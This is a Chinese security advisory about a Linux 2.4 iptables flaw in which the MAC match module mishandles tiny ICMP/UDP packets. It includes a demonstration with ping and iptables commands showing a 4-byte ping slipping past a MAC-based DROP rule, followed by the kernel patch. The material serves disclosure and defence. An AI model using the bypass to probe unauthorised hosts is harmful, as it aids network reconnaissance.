Linux 2.4 iptables MAC地址匹配绕过漏洞
受影响的系统:
Linux kernel 2.4
描述:
--------------------------------------------------------------------------------
iptables. Iptables重包含了一个扩展模块是MAC模块,它可以基于MAC地址来匹配经过
防火墙的报文。这个模块主要是用来防止恶意内部用户通过修改IP地址进行欺骗攻击。
然而,MAC模块没有正确匹配长度很小的报文。例如,4个字节的ICMP或者UDP报文。
这使得内部攻击者可能利用这一漏洞来探测受iptables保护的主机是否存活,以及其他的
探测活动。
<*来源:John McEleney
Chris Wilson (chris@netservers.co.uk)
链接:http://archives.neohapsis.com/archives/bugtraq/2001-10/0057.html
*>
测试程序:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
我们需要两台机器进行测试:
- Victim, 运行iptables
- Attacker, 可以发送小的ICMP或UDP报文
攻击者(Attacker)的MAC地址假设为:AT:TA:CK:ER:00:00
首先在Victim上禁止来自Attacker的MAC地址的ICMP报文:
victim# iptables -P INPUT ACCEPT
victim# iptables -F INPUT
victim# iptables -I INPUT -p icmp -m mac --mac-source AT:TA:CK:ER:00:00 -j DROP
victim# iptables -L INPUT -v
Chain INPUT (policy ACCEPT xxxx packets, xxxxxxx bytes)
pkts bytes target prot opt in out source destination
0 0 DROP icmp -- any any anywhere anywhere
MAC AT:TA:CK:ER:00:00
[现在报文和字节计数器都是零]
在Attacker上ping Victim主机:
attacker# ping -s 8 -c 1 Victim
PING Victim (xx.xx.xx.xx) from xx.xx.xx.xx : 8(36) bytes of data.
--- xx.xx.xx.xx ping statistics ---
1 packets transmitted, 0 packets received, 100% packet loss
[8字节的报文被丢弃了,这是正确的]
在Victim上:
victim# iptables -L INPUT -v
Chain INPUT (policy ACCEPT 231 packets, 39475 bytes)
pkts bytes target prot opt in out source destination
1 36 DROP icmp -- any any anywhere anywhere
MAC 00:03:47:87:BA:C5
[被丢弃的报文的数目和字节技术已经增加了]
在Attacker上重新发送小字节的ICMP报文:
attacker# ping -s 4 -c 1 Victim
PING Victim (xx.xx.xx.xx) from xx.xx.xx.xx : 4(32) bytes of data.
12 bytes from xx.xx.xx.xx: icmp_seq=0 ttl=255
--- xx.xx.xx.xx ping statistics ---
1 packets transmitted, 1 packets received, 0% packet loss
[这次报文被允许通过并返回了应答,没有被规则丢弃]
再来检查一下Victim上的记录:
victim# iptables -L INPUT -v
Chain INPUT (policy ACCEPT 231 packets, 39475 bytes)
pkts bytes target prot opt in out source destination
1 32 DROP icmp -- any any anywhere anywhere
MAC AT:TA:CK:ER:00:00
[丢弃报文的计数没有增加]
--------------------------------------------------------------------------------
建议:
厂商补丁:
1. 安装下列补丁并重新编译内核:
--- linux-2.4.9/net/ipv4/netfilter/ipt_mac.c Tue Oct 2 18:50:56 2001
+++ linux-2.4.9-ipt_mac-fix/net/ipv4/netfilter/ipt_mac.c Tue Oct 2
19:32:20 2001
@@ -20,7 +20,7 @@
/* Is mac pointer valid? */
return (skb->mac.raw >= skb->head
- && skb->mac.raw < skb->head + skb->len - ETH_HLEN
+ && (skb->mac.raw + ETH_HLEN) <= skb->data
/* If so, compare... */
&& ((memcmp(skb->mac.ethernet->h_source, info->srcaddr, ETH_ALEN)
== 0) ^ info->invert));
2. 或者等待安装更新版本的iptables(1.2.3以上版本)
http://netfilter.samba.org/
本文:http://www.qqread.com/linux/2006/10/y226577.html
相关图文阅读
频道图文推荐
健 康 咨 询
时 尚 咨 询
相关专题
- Linux集群技术 (8137篇文章)
- 体验Linux的音影世界 (7818篇文章)
- Linux驱动大全 (8611篇文章)
- Linux下的路由的配置与应用 (11601篇文章)
- 漏洞专区 (1690篇文章)
- Linux命令简介 (9649篇文章)
- Linux防火墙 (9487篇文章)
- Linux日志专题 (8266篇文章)
- Linux服务器的安全性能 (20056篇文章)
- 揭秘Linux内存管理 (7881篇文章)
- Linux常用基本命令及应用技巧 (44691次浏览)
- 学Linux如此轻松-Linux入门教程 (21805次浏览)
- 扮酷你的桌面 Linux超靓壁纸下载(多图) (20455次浏览)
- 图解红旗Linux 4.0桌面系统的安装 (17365次浏览)
- vmware的vmware tools安装 (13102次浏览)
- Linux系统常见的日志文件和常用命令 (753次浏览)
- TCP/IP基础----为Linux网络做准备 (671次浏览)
- 安装Linux之前 (600次浏览)
- 初学者如何熟悉Linux内存管理机制 (593次浏览)
- Linux Apache+MySQL+PHP简明指南v2 (573次浏览)



